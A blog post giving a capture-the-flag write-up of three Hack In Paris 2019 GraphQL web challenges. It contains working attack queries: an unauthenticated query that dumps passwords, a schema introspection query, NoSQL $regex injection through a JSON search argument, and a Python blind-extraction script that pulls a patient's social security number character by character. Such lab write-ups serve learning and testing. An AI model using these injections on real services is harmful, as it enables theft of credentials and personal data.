200 lines
10 KiB
Markdown
Executable File
200 lines
10 KiB
Markdown
Executable File
---
|
|
layout: post
|
|
title: HIP19 Writeup - Meet Your Doctor 1,2,3
|
|
---
|
|
|
|
Last wednesday I was in the Hack In Paris event for the 3rd time. As always there were some great conferences and challenges, and a new competition called "Hacker Jeopardy" which was very fun! During the Wargame I focused my time on Web challenges based on the `graphql` technology which was new to me, you will find below my writeups for the `Meet Your Doctor` challenges.
|
|
|
|
![HIP Wargame 2019]({{ site.baseurl }}/images/hip19_wargame.png "HIP Wargame 2019")
|
|
|
|
|
|
## Meet your doctor 1 - 100 pts
|
|
|
|
URL: `http://meetyourdoctor1.challs.malice.fr`
|
|
Goal : `Please help me find the Meet your doctor Admin password`
|
|
|
|
Gobuster revealed a `/graphql` endpoint at the root of the website, browsing [http://meetyourdoctor1.challs.malice.fr/graphql](http://meetyourdoctor1.challs.malice.fr/graphql) gave us an access to an interactive GraphQL interpreter. On this page we can browse the documentation and `schema`.
|
|
|
|
There, we can get the structure of the `Doctor` type.
|
|
|
|
{% highlight sql %}
|
|
type Doctor {
|
|
id: ID!
|
|
firstName: String!
|
|
lastName: String!
|
|
specialty: String!
|
|
patients: [Patient!]
|
|
rendezvous: [Rendezvous!]
|
|
email: String!
|
|
password: String!
|
|
}
|
|
{% endhighlight %}
|
|
|
|
It seems we don't need to authenticate with the mutation `signIn` to query `Doctor` data.
|
|
|
|
{% highlight sql %}
|
|
type Mutation {
|
|
signIn(login: String!, password: String!): Token!
|
|
}
|
|
{% endhighlight %}
|
|
|
|
A simple query `{Doctors{id email password}}` was enough to extract all doctors' email and password. The flag was the password of the Admin doctor : `Now-_Let$|GetSeri0us`
|
|
|
|
![GraphQL UI]({{ site.baseurl }}/images/doctors1graphql.png "GraphQL UI")
|
|
|
|
|
|
## Meet your doctor 2 - 200 pts
|
|
|
|
URL: `http://meetyourdoctor2.challs.malice.fr`
|
|
Goal: `I need to find the Patient 0 social security number! It is a matter of life and death`
|
|
|
|
In this challenge we didn't have access to an online "lab" to test and query the GraphQL. I made a tool to interact with the `/graphql` endpoint, it is open-source and available for free on [Github: https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap).
|
|
|
|
Using `Introspection` we can still get the GraphQL schema, here is the URL-encoded version (Full version available at "[GraphQL Injection: enumerate-database-schema-via-introspection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection#enumerate-database-schema-via-introspection)").
|
|
|
|
{% highlight sql %}
|
|
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
|
|
{% endhighlight %}
|
|
|
|
It is strongly recommended to use `Firefox` to view the server response as it parses JSON an displays it nicely.
|
|
|
|
![Doctors schema]({{ site.baseurl }}/images/doctors2_schema.png "Doctors schema")
|
|
|
|
Using GraphQLmap, we got the following structure.
|
|
|
|
{% highlight sql %}
|
|
============= [SCHEMA] ===============
|
|
e.g: name[Type]: arg (Type!)
|
|
|
|
Query
|
|
doctor[]: email (String!),
|
|
doctors[Doctor]: options (JSON!),
|
|
patients[Patient]:
|
|
patient[]: id (ID!),
|
|
allrendezvous[Rendezvous]:
|
|
rendezvous[]: id (ID!),
|
|
Doctor
|
|
id[ID]:
|
|
firstName[String]:
|
|
lastName[String]:
|
|
specialty[String]:
|
|
patients[None]:
|
|
rendezvous[None]:
|
|
email[String]:
|
|
password[String]:
|
|
Patient
|
|
id[ID]:
|
|
firstName[String]:
|
|
lastName[String]:
|
|
doctor[Doctor]:
|
|
ssn[String]:
|
|
Rendezvous
|
|
id[ID]:
|
|
date[String]:
|
|
confirmed[Boolean]:
|
|
Mutation
|
|
signIn[Token]: login (String!), password (String!),
|
|
Token
|
|
token[String]:
|
|
{% endhighlight %}
|
|
|
|
In this case `Doctors` have an `options` parameter which accepts JSON. It allows us to specify items linked to the doctors' structure and project their data into the GraphQL response. I saw the following picture in a blog post, it helped me a lot to understand the structure of the query.
|
|
|
|
![GraphMap]({{ site.baseurl }}/images/graphmap.png "GraphMap")
|
|
|
|
We can query `{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}`, don't forget to escape the `"` inside the `options`.
|
|
|
|
{% highlight json %}
|
|
GraphQLmap> {doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
|
|
{
|
|
"firstName": "Admin",
|
|
"id": "5d089b25f48c29003191e3b5",
|
|
"lastName": "Admin",
|
|
"patients": [
|
|
{
|
|
"ssn": "b16cff8b-4a5a-41c8-8545-d9880fd7aae5"
|
|
}
|
|
]
|
|
}
|
|
{% endhighlight %}
|
|
|
|
There we go, the second flag was `b16cff8b-4a5a-41c8-8545-d9880fd7aae5`.
|
|
An asciinema version is available at [https://asciinema.org/a/sbqGXnWXl5Y6YeQr0wzsCzQli](https://asciinema.org/a/sbqGXnWXl5Y6YeQr0wzsCzQli)
|
|
|
|
|
|
## Meet your doctor 3 - 300 pts
|
|
|
|
URL: `http://meetyourdoctor3.challs.malice.fr`
|
|
Goal: `I need to find the Patient 0 social security number! It is a matter of life and death`
|
|
|
|
Things are getting complicated, we can dump the schema as the `Introspection` is set to false. Based on the previous challenge we can guess the structure is the same. Unfortunately we can't reuse the same query to extract the `ssn`, we get the following error.
|
|
|
|
{% highlight bash %}
|
|
Field "doctors" argument "search" of type "JSON!" is required, but it was not provided.
|
|
{% endhighlight %}
|
|
|
|
This means there is a `search` argument in the doctor structure, something like `doctors[Doctor]: options (JSON!), search(JSON!)`. Pete Correy explains how to exploit the search argument in his blog post [GraphQL NoSQL Injection Through JSON Types](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/).
|
|
|
|
Let's try a simple NoSQL injection with fields we know such as `lastName`.
|
|
|
|
{% highlight json %}
|
|
OK: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi\"} }"){firstName lastName id}}
|
|
KO: {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admia\"} }"){firstName lastName id}}
|
|
{% endhighlight %}
|
|
|
|
Since the challenge I added a way to test the regex quickly in GraphQLmap using the `GRAPHQL_CHARSET` keyword inside a GraphQL query:
|
|
|
|
{% highlight json %}
|
|
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}
|
|
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}
|
|
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
|
|
{% endhighlight %}
|
|
|
|
The injection worked, now we can re-use the payload from the challenge #2 and extract the `social security number` of the patient 0, which is the patient of the `Admin` doctor. The query was as follows, where we had to replace `CHARACTER_FROM_THE_FLAG` to test characters from the flag.
|
|
|
|
{% highlight json %}
|
|
{
|
|
doctors(
|
|
options: "{\"limit\": 1, \"patients.ssn\" :1}",
|
|
search: "{ \"patients.ssn\": { \"$regex\": \"^CHARACTER_FROM_THE_FLAG\"}, \"lastName\":\"Admin\" }")
|
|
{
|
|
firstName lastName id patients{ssn}
|
|
}
|
|
}
|
|
{% endhighlight %}
|
|
|
|
Obviously we scripted the data extraction in Python, the script below will get the last flag : `4f537c0a-7da6-4acc-81e1-8c33c02ef3b`.
|
|
|
|
{% highlight javascript %}
|
|
def blind_nosql(URL):
|
|
data = ""
|
|
data_size = 35
|
|
charset = "0123456789abcdef-"
|
|
while len(data) != data_size:
|
|
for c in charset:
|
|
query ="{doctors(options:%20%22{\%22\%22patients.ssn\%22:1}%22,%20search:%20%22{%20\%22patients.ssn\%22:%20{%20\%22$regex\%22:%20\%22^PLACEHOLDER\%22},%20\%22lastName\%22:\%22Admin\%22%20,%20\%22firstName\%22:\%22Admin\%22%20}%22){id, firstName}}"
|
|
injected = (URL.format(query)).replace("PLACEHOLDER", data + c)
|
|
r = requests.get(injected)
|
|
if r.json()['data']['doctors'] != []:
|
|
data += c
|
|
print("\033[92m[+] Data found:\033[0m {}".format(data))
|
|
{% endhighlight %}
|
|
|
|
At that time we were checking if the content of `r.json()['data']['doctors']` was not empty, in order to abstract the data extraction we now take a check input from the user in order to compare the output.
|
|
|
|
|
|
{% highlight json %}
|
|
GraphQLmap > nosqli
|
|
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
|
|
Check > 5d089c51dcab2d0032fdd08d
|
|
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
|
|
{% endhighlight %}
|
|
|
|
I hope you enjoyed the challenges as I did !
|
|
Feel free to share the blog post ! :)
|